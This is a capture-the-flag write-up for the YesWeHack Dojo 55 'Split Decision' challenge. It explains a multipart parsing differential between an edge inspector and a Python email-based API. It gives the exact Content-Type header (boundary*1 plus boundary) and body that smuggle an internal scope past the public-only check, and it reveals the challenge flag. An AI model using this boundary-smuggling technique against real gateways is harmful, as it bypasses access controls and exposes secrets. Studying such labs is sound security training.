YesWeHack Dojo 55: Split Decision
A diagnostic bundle must pass through a strict gateway before reaching an internal export service. Can you make both layers see what they expect and recover the hidden token?

The problem
The challenge provides an interface that lets you see the flow of the data you send to the application, along with its source code.
We can choose the value of content_type and body in order to build a multipart/form-data request:
POST /v1/support/bundles/preview HTTP/1.1
Host: support-api.yeswehack.example
Content-Type: Hello
i am the body
It quickly becomes clear that the goal is to get a request accepted with the "internal" scope in order to recover the flag:
if scope == "internal":
files.append("runtime.env")
payload["preview"] = {
"runtime.env": [
"SERVICE=yeswehack-exporter",
"REGION=eu-1",
"BUILD=2026.09.14-482",
f"SUPPORT_EXPORT_TOKEN={flag}",
]
}
The problem is that only the public scope is allowed:
POST /v1/support/bundles/preview HTTP/1.1
Host: support-api.yeswehack.example
Content-Type: multipart/form-data; boundary=demo
--demo
Content-Disposition: form-data; name="scope"
public
--demo--
POST /v1/support/bundles/preview HTTP/1.1
Host: support-api.yeswehack.example
Content-Type: multipart/form-data; boundary=demo
--demo
Content-Disposition: form-data; name="scope"
internal
--demo--
A double check
What happens is that before the simulated service can receive the request (that service does accept the internal scope):
# Bundle API parses the original Content-Type and body
message = BytesParser(policy=policy.default).parsebytes(mime_request)
enforce(message.is_multipart(), "multipart", request_ref, "bundle-api")
application_view = multipart_fields(message)
scope = application_view.get("scope")
enforce(scope in {"public", "internal"}, "scope", request_ref, "bundle-api")
the request first goes through an "Edge inspection service", which does not accept it:
# Edge inspection service
edge_boundary = inspection_boundary(content_type)
enforce(edge_boundary is not None, "boundary", request_ref)
edge_view = inspection_fields(body, edge_boundary)
enforce(edge_view.get("scope") == "public", "public-scope", request_ref)
What works in our favor is that this verification is not the same on both sides, so we can assume that differences in how the request is processed could make the inspection service ignore the internal scope while the API still takes it into account.
How the inspection service (Edge) parses the request
The check happens in two steps:
edge_boundary = inspection_boundary(content_type) # gets the boundary from the content-type
enforce(edge_boundary is not None, "boundary", request_ref) # checks that it is not empty
Hypothesis 1
def inspection_boundary(media_type):
# split the content-type on ";"
# if the first part is not "multipart/form-data", return None
#
# > Couldn't we get a different boundary for the edge and for the api because of this?
# multipart/form-data; boundary=boundary_edge; multipart/form-data; boundary=boundary_api
#
segments = media_type.split(";")
if segments[0].strip().lower() != "multipart/form-data":
return None
The problem I see is that for a request like this:
content_type :
multipart/form-data; boundary=demo; boundary=hello
body :
--hello
Content-Disposition: form-data; name="scope"
internal
--hello--
--demo
Content-Disposition: form-data; name="scope"
public
--demo--
So for now, as it stands, this is a dead end.
Walking through the rest of the code
parameters = []
token = r"[!#$%&'*+\-.^_`|~0-9A-Za-z]+"
# assumes the boundary is indeed the second segment after ";"
for segment in segments[1:]:
# matches against the regex, which does what?
"""
opus 4.8 > what does the regex do?
a run of at least one character (+) taken from this list:
- the letters A-Za-z and the digits 0-9
- the symbols ! # $ % & ' * + - . ^ _ ` | ~
"""
# it checks that the segment is indeed parameter=value
match = re.fullmatch(rf"\s*({token})\s*=\s*({token})\s*", segment)
if match is None:
return None
name, value = match.groups()
normalized_name = name.lower()
# it only allows boundary as a parameter name (HERE I make a mistake in this comment and I'll realize it later)
if normalized_name.startswith("boundary") and normalized_name != "boundary":
if not re.fullmatch(r"boundary\*(?:[0-9]+\*?)?", normalized_name):
return None
parameters.append((name, value))
# only matches parameters whose name is boundary
for name, value in parameters:
if name.lower() != "boundary":
continue
if not re.fullmatch(r"[A-Za-z0-9._-]{1,70}", value):
return None
return value.encode("ascii")
return None
After getting the boundary, it inspects the fields, and that is where it checks that the scope is indeed public:
edge_view = inspection_fields(body, edge_boundary)
enforce(edge_view.get("scope") == "public", "public-scope", request_ref)
And here it is a bit odd, because instead of taking the request as-is, it rebuilds a kind of mock from the data it collected in the previous functions:
def inspection_fields(payload, boundary):
# strips problematic characters from the boundary
quoted_boundary = boundary.replace(b"\\", b"\\\\").replace(b'"', b'\\"')
# builds a request by concatenation
mime_request = (
b"MIME-Version: 1.0\r\n"
b'Content-Type: multipart/form-data; boundary="' + quoted_boundary + b'"\r\n\r\n'
+ payload
)
# uses BytesParser, so in the end, as we'll see later, the same method as the API
message = BytesParser(policy=policy.default).parsebytes(mime_request)
return multipart_fields(message)
How the API parses the request
It uses a more standard method:
# Bundle API parses the original Content-Type and body
message = BytesParser(policy=policy.default).parsebytes(mime_request)
enforce(message.is_multipart(), "multipart", request_ref, "bundle-api")
application_view = multipart_fields(message)
scope = application_view.get("scope")
enforce(scope in {"public", "internal"}, "scope", request_ref, "bundle-api")
Asking Opus 4.8 for a hint
At this point I asked Claude for a hint, and it answered:
if normalized_name.startswith("boundary") and normalized_name != "boundary":
if not re.fullmatch(r"boundary\*(?:[0-9]+\*?)?", normalized_name):
return None
for name, value in parameters:
if name.lower() != "boundary":
continue
...
return value.encode("ascii")
*These names (`boundary*0`, `boundary*=…`) don't come out of nowhere. Does Python's email parser (the one the Bundle API uses) ignore them like the Edge does, or does it actually interpret them? https://www.rfc-editor.org/rfc/rfc2231*
Indeed, I hadn't really looked closely at this part, but it turns out the edge inspector seems to allow:
And regarding the RFC, the provided documentation gives: https://www.rfc-editor.org/rfc/rfc2231#section-3 MIME Parameter Value and Encoded Word Extensions: Character Sets, Languages, and Continuations, which describes splitting a parameter value into name*0, name*1, reassembled in index order.
And on the Python side (the parser used by the Bundle API), this is handled by the email module, which applies this RFC.
So the Edge first takes this type of boundary into account:
# gets the segments of the content-type
"""
for example: multipart/form-data; boundary=demo ; boundary=hello
gives the following parameters array:
parameters = [
{
name : boundary
value : demo
},
{
name : boundary
value : hello
}
]
"""
for segment in segments[1:]:
match = re.fullmatch(rf"\s*({token})\s*=\s*({token})\s*", segment)
if match is None:
return None
name, value = match.groups()
normalized_name = name.lower()
if normalized_name.startswith("boundary") and normalized_name != "boundary":
# allows boundary*1 or others in this boundary*0-9 form
if not re.fullmatch(r"boundary\*(?:[0-9]+\*?)?", normalized_name):
return None
parameters.append((name, value))
But right after:
for name, value in parameters:
if name.lower() != "boundary":
continue
if not re.fullmatch(r"[A-Za-z0-9._-]{1,70}", value):
return None
return value.encode("ascii")
It only checks the values of names strictly equal to "boundary". In this case it checks that the value's characters are among these: "A-Za-z0-9._-". And it does not return boundaries in the boundary*0-9 format to the function that checks the scope.
Could:
...make the api take the first boundary and the edge the second?So I tested this:
--boundary_edge
Content-Disposition: form-data; name="scope"
public
--boundary_edge--
--boundary_api
Content-Disposition: form-data; name="scope"
internal
--boundary_api--
HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
Cache-Control: no-store
X-Request-ID: req_f3430308a852
X-Edge-Policy: support-egress-v4
Content-Length: 176
{
"error": "Invalid multipart request",
"message": "The application could not decode the submitted form.",
"component": "bundle-api",
"request_id": "req_f3430308a852"
}
Except that, after checking, in this case the boundary computed by the api's parser is the following: "boundary_edgeboundary_api"
So in the end the correct payload is:
multipart/form-data; boundary*1=boundary_api ; boundary=boundary_edge
--boundary_edge
Content-Disposition: form-data; name="scope"
public
--boundary_edge--
--boundary_edgeboundary_api
Content-Disposition: form-data; name="scope"
internal
--boundary_edgeboundary_api--
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Cache-Control: no-store
X-Request-ID: req_cb5f498e2721
X-Edge-Policy: support-egress-v4
X-Bundle-Preview: ready
Content-Length: 392
{
"case_id": "INC-1042",
"scope": "internal",
"format": "zip",
"files": [
"manifest.json",
"events.ndjson",
"health.txt",
"runtime.env"
],
"redaction": "disabled",
"preview": {
"runtime.env": [
"SERVICE=yeswehack-exporter",
"REGION=eu-1",
"BUILD=2026.09.14-482",
"SUPPORT_EXPORT_TOKEN=FLAG{Spl1t_Fl4gG3d_C00l_RFC_r1gH7_?}"
]
}
}
Flag
The flag is : FLAG{Spl1t_Fl4gG3d_C00l_RFC_r1gH7_?}